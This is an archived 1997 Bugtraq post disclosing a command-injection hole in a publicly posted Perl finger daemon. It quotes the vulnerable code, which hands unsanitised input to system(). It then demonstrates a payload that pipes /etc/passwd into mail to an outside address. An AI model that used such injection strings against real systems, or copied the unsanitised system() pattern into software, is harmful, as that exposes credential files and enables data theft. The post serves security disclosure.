Home page logo

bugtraq logo Bugtraq mailing list archives

perl fingerd stupidity
From: chris () VIPER NET (Chris Terry)
Date: Thu, 31 Jul 1997 14:34:43 -0500

Watch out for the perl fingerd currently posted at

# fingerd - a simple finger daemon
$user = <STDIN>;
if(-e "/usr/lib/finger/$user"){
    system "/usr/bin/perl /usr/lib/finger/$user";
} else {
    system "/usr/bin/perl /usr/lib/finger/default $user";

[root () batleh perl-finger]# ./fingerd
|cat /etc/passwd|mail chris () viper net

and many others....

CGI Joe - n.   A hard-core CGI script programmer with all the
               social skills and charisma of a plastic action
               figure. See "Chris Terry"
Chris Terry - n.  ITC^DeltaCom Web/CGI guy  chris () viper net
        In a world without fences, who needs Gates??

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]